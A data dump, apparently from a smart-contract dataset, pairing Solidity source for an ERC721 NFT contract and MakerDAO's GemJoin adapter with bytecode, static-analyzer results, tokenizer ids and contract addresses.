_setTokenURI(tokenId, uri); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal whenNotPaused override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } // The following functions are overrides required by Solidity. function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) { super._burn(tokenId); } function tokenURI(uint256 tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory) { string memory stored = super.tokenURI(tokenId); if (bytes(stored).length > 0) { return stored; } return string(abi.encodePacked("https://sahokun.github.io/nft-sahokun-eth/metadata/", tokenId.toString(), ".json")); } function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c80635c975abb116100de57806395d89b4111610097578063c87b56dd11610071578063c87b56dd14610306578063d204c45e14610319578063e985e9c51461032c578063f2fde38b1461036857600080fd5b806395d89b41146102d8578063a22cb465146102e0578063b88d4fde146102f357600080fd5b80635c975abb146102815780636352211e1461028c57806370a082311461029f578063715018a6146102b25780638456cb59146102ba5780638da5cb5b146102c257600080fd5b806323b872dd1161013057806323b872dd1461021a5780632f745c591461022d5780633f4ba83a1461024057806342842e0e1461024857806342966c681461025b5780634f6ccce71461026e57600080fd5b806301ffc9a71461017857806306fdde03146101a0578063081812fc146101b5578063095ea7b3146101e0578063162094c4146101f557806318160ddd14610208575b600080fd5b61018b610186366004611e95565b61037b565b60405190151581526020015b60405180910390f35b6101a861038c565b604051610197919061201c565b6101c86101c3366004611ecd565b61041e565b6040516001600160a01b039091168152602001610197565b6101f36101ee366004611e6c565b6104ab565b005b6101f3610203366004611ee5565b6105c1565b6008545b604051908152602001610197565b6101f3610228366004611d32565b6105ff565b61020c61023b366004611e6c565b610631565b6101f36106c7565b6101f3610256366004611d32565b610701565b6101f3610269366004611ecd565b61071c565b61020c61027c366004611ecd565b610796565b600b5460ff1661018b565b6101c861029a366004611ecd565b610837565b61020c6102ad366004611ce6565b6108ae565b6101f3610935565b6101f361096f565b600b5461010090046001600160a01b03166101c8565b6101a86109a7565b6101f36102ee366004611de6565b6109b6565b6101f3610301366004611d6d565b6109c1565b6101a8610314366004611ecd565b6109f9565b6101f3610327366004611e20565b610a46565b61018b61033a366004611d00565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b6101f3610376366004611ce6565b610aa5565b600061038682610b43565b92915050565b60606000805461039b90612176565b80601f01602080910402602001604051908101604052809291908181526020018280546103c790612176565b80156104145780601f106103e957610100808354040283529160200191610414565b820191906000526020600020905b8154815290600101906020018083116103f757829003601f168201915b5050505050905090565b600061042982610b68565b61048f5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b60006104b682610837565b9050806001600160a01b0316836001600160a01b031614156105245760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610486565b336001600160a01b03821614806105405750610540813361033a565b6105b25760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610486565b6105bc8383610b85565b505050565b600b546001600160a01b036101009091041633146105f15760405162461bcd60e51b815260040161048690612081565b6105fb8282610bf3565b5050565b61060a335b82610c7e565b6106265760405162461bcd60e51b8152600401610486906120b6565b6105bc838383610d68565b600061063c836108ae565b821061069e5760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401610486565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600b546001600160a01b036101009091041633146106f75760405162461bcd60e51b815260040161048690612081565b6106ff610f0f565b565b6105bc838383604051806020016040528060008152506109c1565b61072533610604565b61078a5760405162461bcd60e51b815260206004820152603060248201527f4552433732314275726e61626c653a2063616c6c6572206973206e6f74206f7760448201526f1b995c881b9bdc88185c1c1c9bdd995960821b6064820152608401610486565b61079381610fa2565b50565b60006107a160085490565b82106108045760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610486565b6008828154811061082557634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b6000818152600260205260408120546001600160a01b0316806103865760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610486565b60006001600160a01b0382166109195760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610486565b506001600160a01b031660009081526003602052604090205490565b600b546001600160a01b036101009091041633146109655760405162461bcd60e51b815260040161048690612081565b6106ff6000610fab565b600b546001600160a01b0361010090910416331461099f5760405162461bcd60e51b815260040161048690612081565b6106ff611005565b60606001805461039b90612176565b6105fb338383611080565b6109cb3383610c7e565b6109e75760405162461bcd60e51b8152600401610486906120b6565b6109f38484848461114f565b50505050565b60606000610a0683611182565b805190915015610a165792915050565b610a1f836112f1565b604051602001610a2f9190611f6f565b604051602081830303815290604052915050919050565b600b546001600160a01b03610100909104163314610a765760405162461bcd60e51b815260040161048690612081565b6000610a81600c5490565b9050610a91600c80546001019055565b610a9b838261140b565b6105bc8183610bf3565b600b546001600160a01b03610100909104163314610ad55760405162461bcd60e51b815260040161048690612081565b6001600160a01b038116610b3a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610486565b61079381610fab565b60006001600160e01b0319821663780e9d6360e01b1480610386575061038682611425565b6000908152600260205260409020546001600160a01b0316151590565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190610bba82610837565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b610bfc82610b68565b610c5f5760405162461bcd60e51b815260206004820152602e60248201527f45524337323155524953746f726167653a2055524920736574206f66206e6f6e60448201526d32bc34b9ba32b73a103a37b5b2b760911b6064820152608401610486565b6000828152600a6020908152604090912082516105bc92840190611b66565b6000610c8982610b68565b610cea5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610486565b6000610cf583610837565b9050806001600160a01b0316846001600160a01b03161480610d305750836001600160a01b0316610d258461041e565b6001600160a01b0316145b80610d6057506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316610d7b82610837565b6001600160a01b031614610ddf5760405162461bcd60e51b815260206004820152602560248201527f4552433732313a207472616e736665722066726f6d20696e636f72726563742060448201526437bbb732b960d91b6064820152608401610486565b6001600160a01b038216610e415760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610486565b610e4c838383611475565b610e57600082610b85565b6001600160a01b0383166000908152600360205260408120805460019290610e80908490612133565b90915550506001600160a01b0382166000908152600360205260408120805460019290610eae908490612107565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600b5460ff16610f585760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b6044820152606401610486565b600b805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b610793816114c6565b600b80546001600160a01b03838116610100818102610100600160a81b031985161790945560405193909204169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600b5460ff161561104b5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610486565b600b805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258610f853390565b816001600160a01b0316836001600160a01b031614156110e25760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610486565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b61115a848484610d68565b61116684848484611506565b6109f35760405162461bcd60e51b81526004016104869061202f565b606061118d82610b68565b6111f35760405162461bcd60e51b815260206004820152603160248201527f45524337323155524953746f726167653a2055524920717565727920666f72206044820152703737b732bc34b9ba32b73a103a37b5b2b760791b6064820152608401610486565b6000828152600a60205260408120805461120c90612176565b80601f016020809104026020016040519081016040528092919081815260200182805461123890612176565b80156112855780601f1061125a57610100808354040283529160200191611285565b820191906000526020600020905b81548152906001019060200180831161126857829003601f168201915b5050505050905060006112a360408051602081019091526000815290565b90508051600014156112b6575092915050565b8151156112e85780826040516020016112d0929190611f40565b60405160208183030381529060405292505050919050565b610d6084611613565b6060816113155750506040805180820190915260018152600360fc1b602082015290565b8160005b811561133f5780611329816121b1565b91506113389050600a8361211f565b9150611319565b60008167ffffffffffffffff81111561136857634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611392576020820181803683370190505b5090505b8415610d60576113a7600183612133565b91506113b4600a866121cc565b6113bf906030612107565b60f81b8183815181106113e257634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350611404600a8661211f565b9450611396565b6105fb8282604051806020016040528060008152506116db565b60006001600160e01b031982166380ac58cd60e01b148061145657506001600160e01b03198216635b5e139f60e01b145b8061038657506301ffc9a760e01b6001600160e01b0319831614610386565b600b5460ff16156114bb5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610486565b6105bc83838361170e565b6114cf816117c6565b6000818152600a6020526040902080546114e890612176565b159050610793576000818152600a6020526040812061079391611bea565b60006001600160a01b0384163b1561160857604051630a85bd0160e11b81526001600160a01b0385169063150b7a029061154a903390899088908890600401611fdf565b602060405180830381600087803b15801561156457600080fd5b505af1925050508015611594575060408051601f3d908101601f1916820190925261159191810190611eb1565b60015b6115ee573d8080156115c2576040519150601f19603f3d011682016040523d82523d6000602084013e6115c7565b606091505b5080516115e65760405162461bcd60e51b81526004016104869061202f565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050610d60565b506001949350505050565b606061161e82610b68565b6116825760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610486565b600061169960408051602081019091526000815290565b905060008151116116b957604051806020016040528060008152506116d4565b806116c3846112f1565b604051602001610a2f929190611f40565b9392505050565b6116e5838361186d565b6116f26000848484611506565b6105bc5760405162461bcd60e51b81526004016104869061202f565b6001600160a01b0383166117695761176481600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b61178c565b816001600160a01b0316836001600160a01b03161461178c5761178c83826119ac565b6001600160a01b0382166117a3576105bc81611a49565b826001600160a01b0316826001600160a01b0316146105bc576105bc8282611b22565b60006117d182610837565b90506117df81600084611475565b6117ea600083610b85565b6001600160a01b0381166000908152600360205260408120805460019290611813908490612133565b909155505060008281526002602052604080822080546001600160a01b0319169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b6001600160a01b0382166118c35760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610486565b6118cc81610b68565b156119195760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610486565b61192560008383611475565b6001600160a01b038216600090815260036020526040812080546001929061194e908490612107565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b600060016119b9846108ae565b6119c39190612133565b600083815260076020526040902054909150808214611a16576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090611a5b90600190612133565b60008381526009602052604081205460088054939450909284908110611a9157634e487b7160e01b600052603260045260246000fd5b906000526020600020015490508060088381548110611ac057634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480611b0657634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b6000611b2d836108ae565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b828054611b7290612176565b90600052602060002090601f016020900481019282611b945760008555611bda565b82601f10611bad57805160ff1916838001178555611bda565b82800160010185558215611bda579182015b82811115611bda578251825591602001919060010190611bbf565b50611be6929150611c20565b5090565b508054611bf690612176565b6000825580601f10611c06575050565b601f01602090049060005260206000209081019061079391905b5b80821115611be65760008155600101611c21565b600067ffffffffffffffff80841115611c5057611c5061220c565b604051601f8501601f19908116603f01168101908282118183101715611c7857611c7861220c565b81604052809350858152868686011115611c9157600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b0381168114611cc257600080fd5b919050565b600082601f830112611cd7578081fd5b6116d483833560208501611c35565b600060208284031215611cf7578081fd5b6116d482611cab565b60008060408385031215611d12578081fd5b611d1b83611cab565b9150611d2960208401611cab565b90509250929050565b600080600060608486031215611d46578081fd5b611d4f84611cab565b9250611d5d60208501611cab565b9150604084013590509250925092565b60008060008060808587031215611d82578081fd5b611d8b85611cab565b9350611d9960208601611cab565b925060408501359150606085013567ffffffffffffffff811115611dbb578182fd5b8501601f81018713611dcb578182fd5b611dda87823560208401611c35565b91505092959194509250565b60008060408385031215611df8578182fd5b611e0183611cab565b915060208301358015158114611e15578182fd5b809150509250929050565b60008060408385031215611e32578182fd5b611e3b83611cab565b9150602083013567ffffffffffffffff811115611e56578182fd5b611e6285828601611cc7565b9150509250929050565b60008060408385031215611e7e578182fd5b611e8783611cab565b946020939093013593505050565b600060208284031215611ea6578081fd5b81356116d481612222565b600060208284031215611ec2578081fd5b81516116d481612222565b600060208284031215611ede578081fd5b5035919050565b60008060408385031215611ef7578182fd5b82359150602083013567ffffffffffffffff811115611e56578182fd5b60008151808452611f2c81602086016020860161214a565b601f01601f19169290920160200192915050565b60008351611f5281846020880161214a565b835190830190611f6681836020880161214a565b01949350505050565b7f68747470733a2f2f7361686f6b756e2e6769746875622e696f2f6e66742d7361815272686f6b756e2d6574682f6d657461646174612f60681b602082015260008251611fc381603385016020870161214a565b64173539b7b760d91b6033939091019283015250603801919050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061201290830184611f14565b9695505050505050565b6020815260006116d46020830184611f14565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6000821982111561211a5761211a6121e0565b500190565b60008261212e5761212e6121f6565b500490565b600082821015612145576121456121e0565b500390565b60005b8381101561216557818101518382015260200161214d565b838111156109f35750506000910152565b600181811c9082168061218a57607f821691505b602082108114156121ab57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156121c5576121c56121e0565b5060010190565b6000826121db576121db6121f6565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461079357600080fdfea264697066735822122060d2808f418f80ac29fb027b52c23731288613c2979fea401c41e3d530721db664736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2850, 18827, 2683, 29097, 2063, 28311, 26337, 2620, 2094, 2581, 16086, 2683, 2050, 2683, 2581, 14142, 2575, 3207, 2575, 2063, 2620, 2620, 24594, 2278, 16048, 8889, 2629, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 24094, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 21183, 12146, 1013, 24094, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 24094, 1008, 1030, 3166, 4717, 25805, 2078, 1006, 1030, 23822, 1007, 1008, 1030, 16475, 3640, 24094, 2008, 2064, 2069, 2022, 4297, 28578, 14088, 1010, 11703, 28578, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,867
0x95da264c17971d78a4aa57b1c1d88ead4feb7cd1
// SPDX-License-Identifier: AGPL-3.0-or-later /// join.sol -- Basic token adapters // Copyright (C) 2018 Rain <rainbreak@riseup.net> // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. pragma solidity >=0.5.12; contract LibNote { event LogNote( bytes4 indexed sig, address indexed usr, bytes32 indexed arg1, bytes32 indexed arg2, bytes data ) anonymous; modifier note { _; assembly { // log an 'anonymous' event with a constant 6 words of calldata // and four indexed topics: selector, caller, arg1 and arg2 let mark := msize() // end of memory ensures zero mstore(0x40, add(mark, 288)) // update free memory pointer mstore(mark, 0x20) // bytes type data offset mstore(add(mark, 0x20), 224) // bytes size (padded) calldatacopy(add(mark, 0x40), 0, 224) // bytes payload log4(mark, 288, // calldata shl(224, shr(224, calldataload(0))), // msg.sig caller(), // msg.sender calldataload(4), // arg1 calldataload(36) // arg2 ) } } } interface GemLike { function decimals() external view returns (uint); function transfer(address,uint) external returns (bool); function transferFrom(address,address,uint) external returns (bool); } interface DSTokenLike { function mint(address,uint) external; function burn(address,uint) external; } interface VatLike { function slip(bytes32,address,int) external; function move(address,address,uint) external; } /* Here we provide *adapters* to connect the Vat to arbitrary external token implementations, creating a bounded context for the Vat. The adapters here are provided as working examples: - `GemJoin`: For well behaved ERC20 tokens, with simple transfer semantics. - `ETHJoin`: For native Ether. - `DaiJoin`: For connecting internal Dai balances to an external `DSToken` implementation. In practice, adapter implementations will be varied and specific to individual collateral types, accounting for different transfer semantics and token standards. Adapters need to implement two basic methods: - `join`: enter collateral into the system - `exit`: remove collateral from the system */ contract GemJoin is LibNote { // --- Auth --- mapping (address => uint) public wards; function rely(address usr) external note auth { wards[usr] = 1; } function deny(address usr) external note auth { wards[usr] = 0; } modifier auth { require(wards[msg.sender] == 1, "GemJoin/not-authorized"); _; } VatLike public vat; // CDP Engine bytes32 public ilk; // Collateral Type GemLike public gem; uint public dec; uint public live; // Active Flag constructor(address vat_, bytes32 ilk_, address gem_) public { wards[msg.sender] = 1; live = 1; vat = VatLike(vat_); ilk = ilk_; gem = GemLike(gem_); dec = gem.decimals(); } function cage() external note auth { live = 0; } function join(address usr, uint wad) external note { require(live == 1, "GemJoin/not-live"); require(int(wad) >= 0, "GemJoin/overflow"); vat.slip(ilk, usr, int(wad)); require(gem.transferFrom(msg.sender, address(this), wad), "GemJoin/failed-transfer"); } function exit(address usr, uint wad) external note { require(wad <= 2 ** 255, "GemJoin/overflow"); vat.slip(ilk, msg.sender, -int(wad)); require(gem.transfer(usr, wad), "GemJoin/failed-transfer"); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c8063957aa58c11610071578063957aa58c146101de5780639c52a7f1146101fc578063b3bcfa8214610240578063bf353dbb1461025e578063c5ce281e146102b6578063ef693bed146102d4576100a9565b806336569e77146100ae5780633b4da69f146100f857806365fae35e14610146578063692450091461018a5780637bd2bea714610194575b600080fd5b6100b6610322565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101446004803603604081101561010e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610348565b005b6101886004803603602081101561015c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106c3565b005b6101926107f1565b005b61019c6108e2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101e6610908565b6040518082815260200191505060405180910390f35b61023e6004803603602081101561021257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061090e565b005b610248610a3c565b6040518082815260200191505060405180910390f35b6102a06004803603602081101561027457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a42565b6040518082815260200191505060405180910390f35b6102be610a5a565b6040518082815260200191505060405180910390f35b610320600480360360408110156102ea57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a60565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001600554146103c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f47656d4a6f696e2f6e6f742d6c6976650000000000000000000000000000000081525060200191505060405180910390fd5b6000811215610437576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f47656d4a6f696e2f6f766572666c6f770000000000000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637cdd3fde60025484846040518463ffffffff1660e01b8152600401808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b1580156104ea57600080fd5b505af11580156104fe573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156105df57600080fd5b505af11580156105f3573d6000803e3d6000fd5b505050506040513d602081101561060957600080fd5b810190808051906020019092919050505061068c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f47656d4a6f696e2f6661696c65642d7472616e7366657200000000000000000081525060200191505060405180910390fd5b5961012081016040526020815260e0602082015260e0600060408301376024356004353360003560e01c60e01b61012085a4505050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610777576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f47656d4a6f696e2f6e6f742d617574686f72697a65640000000000000000000081525060200191505060405180910390fd5b60016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505961012081016040526020815260e0602082015260e0600060408301376024356004353360003560e01c60e01b61012085a45050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146108a5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f47656d4a6f696e2f6e6f742d617574686f72697a65640000000000000000000081525060200191505060405180910390fd5b60006005819055505961012081016040526020815260e0602082015260e0600060408301376024356004353360003560e01c60e01b61012085a450565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146109c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f47656d4a6f696e2f6e6f742d617574686f72697a65640000000000000000000081525060200191505060405180910390fd5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505961012081016040526020815260e0602082015260e0600060408301376024356004353360003560e01c60e01b61012085a45050565b60045481565b60006020528060005260406000206000915090505481565b60025481565b7f8000000000000000000000000000000000000000000000000000000000000000811115610af6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f47656d4a6f696e2f6f766572666c6f770000000000000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637cdd3fde60025433846000036040518463ffffffff1660e01b8152600401808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015610bac57600080fd5b505af1158015610bc0573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c6d57600080fd5b505af1158015610c81573d6000803e3d6000fd5b505050506040513d6020811015610c9757600080fd5b8101908080519060200190929190505050610d1a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f47656d4a6f696e2f6661696c65642d7472616e7366657200000000000000000081525060200191505060405180910390fd5b5961012081016040526020815260e0602082015260e0600060408301376024356004353360003560e01c60e01b61012085a450505056fea265627a7a723158200d9af3af13cfdc3ffc64a0f30604cf30b62ba47383494aa6ec4a03f0efdaa30b64736f6c63430005110032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2629, 2850, 23833, 2549, 2278, 16576, 2683, 2581, 2487, 2094, 2581, 2620, 2050, 2549, 11057, 28311, 2497, 2487, 2278, 2487, 2094, 2620, 2620, 13775, 2549, 7959, 2497, 2581, 19797, 2487, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 12943, 24759, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 1013, 1013, 1013, 3693, 1012, 14017, 1011, 1011, 3937, 19204, 15581, 2545, 1013, 1013, 9385, 1006, 1039, 1007, 2760, 4542, 1026, 4542, 23890, 1030, 4125, 6279, 1012, 5658, 1028, 1013, 1013, 1013, 1013, 2023, 2565, 2003, 2489, 4007, 1024, 2017, 2064, 2417, 2923, 3089, 8569, 2618, 2009, 1998, 1013, 2030, 19933, 1013, 1013, 2009, 2104, 1996, 3408, 1997, 1996, 27004, 21358, 7512, 2080, 2236, 2270, 6105, 2004, 2405, 2011, 1013, 1013, 1996, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,868
0x95da4334f9bf03993d068e36bfdfbbb8f61b21d3
